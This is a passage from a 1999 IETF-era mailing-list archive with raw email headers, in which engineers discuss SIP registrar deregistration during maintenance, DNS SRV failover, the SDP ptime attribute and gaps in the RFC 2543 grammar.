from the L4 switch or from the SRV record list, and it simply stops
receiving queries/registrations.  When it comes back up, it is responsible
for resynchronizing with the rest of the server cluster.

S


Stephen Sprunk, K5SSS, CCIE#3723
Network Consulting Engineer
Cisco NSA   Dallas, Texas, USA
e-mail:ssprunk@cisco.com
Pager: +1 800 365-4578
Empowering the Internet Generation


----- Original Message -----
From: Anoop Tripathi
To: confctrl@ISI.EDU
Sent: Thursday, August 12, 1999 11:25
Subject: How does a Registrar inform UA about deregistration?





Take an implementation where the Proxy/Registrar in implemented in one box.

A UA registers with Proxy/Registrar and expects the Proxy/Registrar to
forward
all calls to it that are intended for this UA.

Now the proxy/Registrar  wants to go under maintenance. How does the Proxy
inform the UA that it should register with some other server.

 To summarize , H323 has RRQ , SIP has REGISTER. What is the equivalent of
URQ
in SIP ?

Anoop


From confctrl-owner  Thu Aug 12 19:00:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA01842
	for confctrl-outgoing; Thu, 12 Aug 1999 19:00:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01837
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 19:00:34 -0700 (PDT)
Received: from crufty.research.bell-labs.com (z3950.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA16711
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 19:00:33 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Thu Aug 12 21:58:51 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.6])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id VAA00471;
	Thu, 12 Aug 1999 21:59:19 -0400 (EDT)
Message-ID: <37B37C3D.D3CAE74A@dnrc.bell-labs.com>
Date: Thu, 12 Aug 1999 22:00:29 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Sprunk <ssprunk@cisco.com>
CC: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>, confctrl@ISI.EDU
Subject: Re: How does a Registrar inform UA about deregistration?
References: <862567CB.0068D148.00@mwgate02.mw.3com.com> <032a01bee51b$52f1ab40$672544ab@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Stephen Sprunk wrote:
> 
> A pure primary/secondary scenario is just an edge case of the SRV (ie
> DNS-based) system I described.  When the primary is going to shut down, it
> flushes its registrations/state to the secondary server, repoints the SRV
> record, and redirects subsequent requests (due to cached DNS) to the
> secondary.  After a safe period, you perform maintenance on the primary.
> 
> This prevents the UA from having to know anything about which server(s) are
> up or down at any given time; just use DNS.
> 
> How else were you planning on dealing with active calls with your stateful
> proxy?  Even if you could notify a UA that you were unregistering it, you
> still have to stay up until all the active calls are completed, no?

Yes, it would have to stay up. But, thats the least of your worries. You
MUST change the DNS SRV record to bring a server down and swap in a
backup. Here's why:

1. There will be hosts that aren't currently registered at all that will
come up later. These may still be configured to use the old server. You
need to change the DNS SRV record so that these folks pull in the new
address. If you are using multicast registrations, its not an issue.
2. The bigger problem is not UA's, but other proxies. They will
generally do a DNS SRV lookup to resolve URI's to the address of the
server. You can't inform these proxies of the change, since you don't
even know who they are. The only thing you can do is change the SRV
record. So, if you're changing it, no need to tell the UA's either
(presuming they are configured to register at a hostname and not an IP
address)

Also, in a SIP server with 10,000 registered users, sending 10,000
messages out to tell people to change servers seems a bit troublesome. 

Of course, with the SRV change, you'll need to wait a bit until
everyones caches expire. As Steven has pointed out, the primary can
redirect requests anyway (remember any request can be redirected, even
registers). Thats a nice side effect of a generic request-response
model.

An even easier solution is if the backup is on the same LAN, don't even
change IP addresses. Transfer over the state, switch one off and the
other back on right away. You might want to flush ARP caches first,
though..

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Aug 12 19:22:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA02480
	for confctrl-outgoing; Thu, 12 Aug 1999 19:22:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA02475
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 19:22:34 -0700 (PDT)
Received: from crufty.research.bell-labs.com (z3950.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA19065
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 19:22:33 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Thu Aug 12 22:21:31 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.6])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id WAA00682;
	Thu, 12 Aug 1999 22:21:59 -0400 (EDT)
Message-ID: <37B3818D.28920BA5@dnrc.bell-labs.com>
Date: Thu, 12 Aug 1999 22:23:09 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Wing Man Kwok <wkwok@telogy.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: attrib "ptime" for RTP codings in SDP
References: <61891BA043DED21180920090273F17380346F9@argentina.telogy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Wing Man Kwok wrote:
> 
> My questions are:
> 
> 1.  what is the value of the "ptime" (packet time) attribute of each coding
> that the "m=" line implies?
> 2.  if each coding has a different ptime that the sender can support, how
> should the sender specify the ptime value for each coding?

ptime is of limited usefulness in SDP. Its a per-media attribute, which
means it applies to the entire stream, not just a particular encoding
for that stream. In any case, it is an optional, advisory attribute
only. From RFC2327:

>  a=ptime:<packet time>
>        This gives the length of time in milliseconds represented by the
>        media in a packet. This is probably only meaningful for audio
>        data.  It should not be necessary to know ptime to decode RTP or
>        vat audio, and it is intended as a recommendation for the
>        encoding/packetisation of audio.  It is a media attribute, and is
>        not dependent on charset.


In truth, an RTP implementation should be prepared to accept almost any
reasonable packetization delay. According to section 4.2 of the revised
version of rfc1890:

> A receiver SHOULD accept packets representing
>    between 0 and 200 ms of audio data. (For framed audio encodings, a
>    receiver SHOULD accept packets with 200 ms divided by the frame
>    duration, rounded up.) This restriction allows reasonable buffer
>    sizing for the receiver.

(This is also in the original RFC1890) As a result, there shouldn't be a
need to negotiate packetization delays. This is in line with the general
philosophy of being gracious on reception.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Aug 13 00:48:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA12276
	for confctrl-outgoing; Fri, 13 Aug 1999 00:48:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA12271
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 00:48:42 -0700 (PDT)
Received: from gw-nl3.philips.com (gw-nl3.philips.com [192.68.44.35])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA02451
	for <confctrl@isi.edu>; Fri, 13 Aug 1999 00:48:40 -0700 (PDT)
From: angelo.hulshout@philips.com
Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl3.philips.com with ESMTP id JAA23202
          for <confctrl@isi.edu>; Fri, 13 Aug 1999 09:48:34 +0200 (MEST)
          (envelope-from angelo.hulshout@philips.com)
Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl3.philips.com via mwrap (4.0a)
	id xma023182; Fri, 13 Aug 99 09:48:34 +0200
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id JAA12662
	for <confctrl@isi.edu>; Fri, 13 Aug 1999 09:48:31 +0200 (MET DST)
Received: from EHLMS01.DIAMOND.PHILIPS.COM (ehlms01sv1.diamond.philips.com [130.139.54.212]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id JAA13996
	for <confctrl@isi.edu>; Fri, 13 Aug 1999 09:48:30 +0200 (MET DST)
Received: by EHLMS01.DIAMOND.PHILIPS.COM (Soft-Switch LMS 4.0) with snapi
          via EMEA3 id 0056890004764013; Fri, 13 Aug 1999 09:48:30 +0200
To: <confctrl@ISI.EDU>
Subject: Re: How does a Registrar inform UA about deregistration?
Message-ID: <0056890004764013000002L932*@MHS>
Date: Fri, 13 Aug 1999 09:48:30 +0200
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; name="MEMO 08/13/99 09:48:22"
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id AAA12272
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anoop wrote:

> Also , does that mean since I don't have a de-registration message , I am forced
> to implement using clustering. Now that I am clustering , it is almost
> impossible for me to implement a stateful proxy.
>
> Hence I think it would be nice to have this de-registration message.
>
> Anoop

On page 33 of RFC2543 you can find the following:

> A client cancels an existing registration by sending a REGISTER
> request with an expiration time (Expires) of zero seconds for a
> particular Contact or the wildcard Contact designated by a "*" for
> all registrations. Registrations are matched based on the user, host,
> port and maddr parameters.

I think this solves your problem.

Regards,

Angelo

========================================================================
A house is a machine built for living in.
                                     (Read on a t-shirt)
========================================================================
Ing. A.E.M. Hulshout                         angelo.hulshout@philips.com
Philips Research Laboratories          Information & Software Technology
Prof. Holstlaan 4 (Building WL11)                         Room WL p 1.20
5656 AA Eindhoven, The Netherlands                Tel. (+31 40 27) 43704
========================================================================

From confctrl-owner  Fri Aug 13 03:56:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA18607
	for confctrl-outgoing; Fri, 13 Aug 1999 03:56:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA18602
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 03:56:00 -0700 (PDT)
Received: from gw-nl3.philips.com (gw-nl3.philips.com [192.68.44.35])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA08158
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 03:55:57 -0700 (PDT)
From: angelo.hulshout@philips.com
Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl3.philips.com with ESMTP id MAA02524;
          Fri, 13 Aug 1999 12:55:35 +0200 (MEST)
          (envelope-from angelo.hulshout@philips.com)
Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl3.philips.com via mwrap (4.0a)
	id xma002522; Fri, 13 Aug 99 12:55:35 +0200
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id MAA16270; Fri, 13 Aug 1999 12:55:34 +0200 (MET DST)
Received: from EHLMS01.DIAMOND.PHILIPS.COM (ehlms01sv1.diamond.philips.com [130.139.54.212]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id MAA27294; Fri, 13 Aug 1999 12:55:33 +0200 (MET DST)
Received: by EHLMS01.DIAMOND.PHILIPS.COM (Soft-Switch LMS 4.0) with snapi
          via EMEA3 id 0056890004768544; Fri, 13 Aug 1999 12:55:33 +0200
To: <Anoop_Tripathi@mw.3com.com>, <confctrl@ISI.EDU>, <ssprunk@cisco.com>
Subject: Re: How does a Registrar inform UA about deregistration?
Message-ID: <0056890004768544000002L942*@MHS>
Date: Fri, 13 Aug 1999 12:55:33 +0200
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; name="MEMO 08/13/99 12:55:24"
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id DAA18603
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The message below I sent to confcntrl but it didn't show up. Therefor
a retry


Angelo
-----------

Anoop wrote:

> Also , does that mean since I don't have a de-registration message , I am forced
> to implement using clustering. Now that I am clustering , it is almost
> impossible for me to implement a stateful proxy.
>
> Hence I think it would be nice to have this de-registration message.
>
> Anoop

On page 33 of RFC2543 you can find the following:

> A client cancels an existing registration by sending a REGISTER
> request with an expiration time (Expires) of zero seconds for a
> particular Contact or the wildcard Contact designated by a "*" for
> all registrations. Registrations are matched based on the user, host,
> port and maddr parameters.

I think this solves your problem.


========================================================================
A house is a machine built for living in.
                                     (Read on a t-shirt)
========================================================================
Ing. A.E.M. Hulshout                         angelo.hulshout@philips.com
Philips Research Laboratories          Information & Software Technology
Prof. Holstlaan 4 (Building WL11)                         Room WL p 1.20
5656 AA Eindhoven, The Netherlands                Tel. (+31 40 27) 43704
========================================================================



From confctrl-owner  Fri Aug 13 04:18:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA19273
	for confctrl-outgoing; Fri, 13 Aug 1999 04:18:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA19268
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 04:18:04 -0700 (PDT)
Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA08867
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 04:18:03 -0700 (PDT)
Received: from cs.columbia.edu (client-151-198-123-209.bellatlantic.net [151.198.123.209])
	by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id HAA16725;
	Fri, 13 Aug 1999 07:22:14 -0400 (EDT)
Message-ID: <37B31A83.960FA9FE@cs.columbia.edu>
Date: Thu, 12 Aug 1999 15:03:31 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU,
        "Bernie =?iso-8859-1?Q?H=F6neisen?=" 
	<bhoeneis@cc.hut.fi>
Subject: Re: RFC 2543 / bug report
References: <652567CB.003AD1FA.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



archow@hss.hns.com wrote:
> 
> This brings me to point out that the enire grammar does not seem to be
> complete. When we were writing ours, we noticed quite a few tokens (I think
> one was delta-seconds and some others) that did not have an expansion -

Note that RFC 2543 imports a number of definitions from HTTP/1.1. I
suspect delta-seconds is among those.


> although some of them were easily understandable . Also, if I remember
> correctly, things like telephone-subscriber etc dont feature on the right
> hand side of any production (the RFC mentions it as an example though, if i
> remember right)

The telephone number is special in that it is a subset of user name. The
generic user name definition covers the syntax for phone numbers, so
syntactically there is no need to make a special case. However, if the
user name is a phone number, it should use the form given. Might be
useful to make that more explicit.

> 
> also for guys who are actually trying to use a lex tool, some hyperlinked
> version of the complete grammar would be of great help - I have a nearly
> complete linked version (some missing tokens which I did not find are not
> linked) - so if anyone wants it for ease of reference, feel free to take it
> from me :-) (altho it needs more work ;)

I'm sure it would be of general use. If you send it to me, I'll put it
on the SIP web page.



From confctrl-owner  Fri Aug 13 05:19:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA21285
	for confctrl-outgoing; Fri, 13 Aug 1999 05:19:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA21280
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 05:19:32 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10964
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 05:18:58 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id TAA00689;
	Fri, 13 Aug 1999 19:07:26 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567CC.004395C8 ; Fri, 13 Aug 1999 17:48:12 +0530
X-Lotus-FromDomain: HSSBLR
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: archow@hss.hns.com, confctrl@ISI.EDU,
        =?iso-8859-1?Q?"Bernie_H=F6neisen"?= <bhoeneis@cc.hut.fi>
Message-ID: <652567CC.0038A09F.00@sampark.hss.hns.com>
Date: Fri, 13 Aug 1999 17:48:09 +0530
Subject: Re: RFC 2543 / bug report
Mime-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA21281
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
The following are the problems I faced with the grammar in 2543 ( I also
referred to RFC 2616 , RFC 1123, RFC 2396)
many are minor nitpicks, but generally these are the problems that were
really faced while doing the grammar - I dont know how many other people
are facing the same problem.

* Token telephone-subscriber does not feature on any RHS
* Token extension-name not defined
* Token extension-value not defined
* Token maddr not defined (should be maddr = host)
* Token delta-seconds is defined in RFC 2616 - a reference to it should be
given in 2543 (like other tokens referred to)
*  2543 specifices  port = *digit instead of port = 1*digit (which one of
the referred to RFC corrects)
* credentials and challenge tokens in Proxy-Authorisation and
Proxy-Authenticate are not defined

*        pgp-version      =  "version"           "="      <         ">
digit *( "          .              "digit ) *letter <"          >

          Above is defined  in 15.1.1 in 2543 - is it right ? It indicates
"digit*( " and  "digit ) *letter <" within quotes !

Some further issues:

1) Many parts of the SIP document refer to the HTTP RFC for tokens. The
HTTP 1.1 RFC in turn points to RFC 2396 (URI) which goes on to
define certain parameters which have the same name as other tokens in SIP -
 but with separate definitions.

eg in RFC 2396

   userinfo      = *( unreserved | escaped |
                              ";" | ":" | "&" | "=" | "+" | "$" | "," )

in the SIP RFC,
  userinfo        = user [ ":" password ]

I found two such conflicts:

userinfo and server tokens - both are defined separately in both the RFCs.
We could consider using separate names in 2543 for userinfo
and server.


Above, again, confuses a person trying to layout the grammar

(Note even SDP RFC has common tokens- but thats not too much of a problem -
 typically SDP and SIP signals could be lexed separately,
but atleast SIP should not conflict in tokennames with HTTP1.1 and URI RFC
as they are imported tokens in the same space.)


2) The SIP grammar is quite extensive (especially after importing all the
other references). The grammar programmer can easily
make mistakes in issues like (for example):

2543 says in sec. 4.3 "  The Request-URI is a SIP URL as described in
Section 2 or a general   URI".
However, if a SIP URL is used as a request URI, then it MUST not have
certain fields.

I think it would be a better idea not to reuse more general grammar rules
into specific cases by adding notes in other sections.
Rather, maybe 2543 should define:

Request-URI =  sip-req-url | general-uri  // general-uri is in HTTP 1.1

The point is , the grammar being as extensive as it already is, we could
try and reduce as much confusion by being more specific with
the production rules.



In general: I think it would be better mentioning behaviours specifically
into rules rather that pointing it out at various places as notes
(eg Proxy-Require is treated identical to Requre is a part of notes in
6.28)




Regds
Arjun









Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 08/12/99 08:14:29 PM

To:   archow@hss.hns.com
cc:   confctrl@ISI.EDU, "Bernie Höneisen" <bhoeneis@cc.hut.fi>
Subject:  Re: RFC 2543 / bug report



Content-type: text/plain; charsetÿ-ascii




archow@hss.hns.com wrote:
>
> This brings me to point out that the enire grammar does not seem to be
> complete. When we were writing ours, we noticed quite a few tokens (I
think
> one was delta-seconds and some others)
You're right about delta-seconds. Please share specific other instances
where its missing so it can be fixed.
 that did not have an expansion -
> although some of them were easily understandable . Also, if I remember
> correctly, things like telephone-subscriber etc dont feature on the right
> hand side of any production (the RFC mentions it as an example though, if
i
> remember right)
Also correct. Interestingly, the point of the user parameter is to
indicate whether
the userinfo field is formatted according to telephone-subscriber. Can
lex support
things like that?
>
> also for guys who are actually trying to use a lex tool, some hyperlinked
> version of the complete grammar would be of great help - I have a nearly
> complete linked version (some missing tokens which I did not find are not
> linked) - so if anyone wants it for ease of reference, feel free to take
it
> from me :-) (altho it needs more work ;)
Great! Please send a pointer when its ready.
-Jonathan R.
--
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen





From confctrl-owner  Fri Aug 13 05:39:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA22036
	for confctrl-outgoing; Fri, 13 Aug 1999 05:39:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA22012
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 05:39:38 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11576
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 05:39:37 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA20728;
	Fri, 13 Aug 1999 08:39:00 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id NAA09694;
	Fri, 13 Aug 1999 13:39:31 +0100 (BST)
Message-ID: <37B4121A.FB2AB005@hplb.hpl.hp.com>
Date: Fri, 13 Aug 1999 13:39:54 +0100
From: Anders Bo Kristensen <bo@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: archow@hss.hns.com, confctrl@ISI.EDU,
        "Bernie =?iso-8859-1?Q?H=F6neisen?="
	 <bhoeneis@cc.hut.fi>
Subject: Re: RFC 2543 / bug report
References: <652567CB.003AD1FA.00@sampark.hss.hns.com> <37B31A83.960FA9FE@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Henning Schulzrinne wrote:
> 
> archow@hss.hns.com wrote:
> >
> > also for guys who are actually trying to use a lex tool, some hyperlinked
> > version of the complete grammar would be of great help - I have a nearly
> > complete linked version (some missing tokens which I did not find are not
> > linked) - so if anyone wants it for ease of reference, feel free to take it
> > from me :-) (altho it needs more work ;)
> 
> I'm sure it would be of general use. If you send it to me, I'll put it
> on the SIP web page.

Also, it would be useful to have a version of the grammar which allows
for the changes proposed by Henning and Jonathan in their caller
preferences draft. There are a few discrepancies between which
components of Contacts and sip-addrs etc. has to be present.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Fri Aug 13 07:14:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25606
	for confctrl-outgoing; Fri, 13 Aug 1999 07:14:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25601
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 07:14:11 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15369
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 07:14:07 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id JAA05556; Fri, 13 Aug 1999 09:17:55 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CC.004EE64F ; Fri, 13 Aug 1999 09:21:47 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: angelo.hulshout@philips.com
cc: confctrl@ISI.EDU, ssprunk@cisco.com
Message-ID: <862567CC.004EE505.00@mwgate02.mw.3com.com>
Date: Fri, 13 Aug 1999 09:19:42 -0500
Subject: Re: How does a Registrar inform UA about deregistration?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




We are talking about the Registrar sending a De-registration message.

Anoop




angelo.hulshout@philips.com on 08/13/99 05:55:33 AM

Sent by:  angelo.hulshout@philips.com


To:   Anoop Tripathi/MW/US/3Com, confctrl@ISI.EDU, ssprunk@cisco.com
cc:
Subject:  Re: How does a Registrar inform UA about deregistration?




The message below I sent to confcntrl but it didn't show up. Therefor
a retry


Angelo
-----------

Anoop wrote:

> Also , does that mean since I don't have a de-registration message , I am
forced
> to implement using clustering. Now that I am clustering , it is almost
> impossible for me to implement a stateful proxy.
>
> Hence I think it would be nice to have this de-registration message.
>
> Anoop

On page 33 of RFC2543 you can find the following:

> A client cancels an existing registration by sending a REGISTER
> request with an expiration time (Expires) of zero seconds for a
> particular Contact or the wildcard Contact designated by a "*" for
> all registrations. Registrations are matched based on the user, host,
> port and maddr parameters.

I think this solves your problem.


========================================================================
A house is a machine built for living in.
                                     (Read on a t-shirt)
========================================================================
Ing. A.E.M. Hulshout                         angelo.hulshout@philips.com
Philips Research Laboratories          Information & Software Technology
Prof. Holstlaan 4 (Building WL11)                         Room WL p 1.20
5656 AA Eindhoven, The Netherlands                Tel. (+31 40 27) 43704
========================================================================








From confctrl-owner  Fri Aug 13 07:32:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA26354
	for confctrl-outgoing; Fri, 13 Aug 1999 07:32:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26345
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 07:32:51 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16306
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 07:32:49 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id JAA06561; Fri, 13 Aug 1999 09:36:59 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CC.0050A446 ; Fri, 13 Aug 1999 09:40:49 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Stephen Sprunk <ssprunk@cisco.com>, confctrl@ISI.EDU
Message-ID: <862567CC.0050A330.00@mwgate02.mw.3com.com>
Date: Fri, 13 Aug 1999 09:38:45 -0500
Subject: Re: How does a Registrar inform UA about deregistration?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Still it does not answer my question as to how do I implement this.

 e.g. A PSTN GW (UA) registers with a proxy server( assume no
redundancy). In case of proxy server going down for maintenance , the proxy
server sends an de-registration to the UA. The UA busies out its trunks
becuase
it knows it cannot route the calls. The switch routes the calls over some
other
available trunk.

Also take a PBX replacement with SIP. The phones register to the Proxy Server.
If the proxy server goes down for maintenance, it sends a de-register request.

The SIP phones now know that they are de-registered and keep trying to register.
Meanwhile if someone picks up a SIP phone , instead of getting a dial tone he
gets no tone ( the way it behaves now in the PBX/switches ) informing him that
the phone is dead.

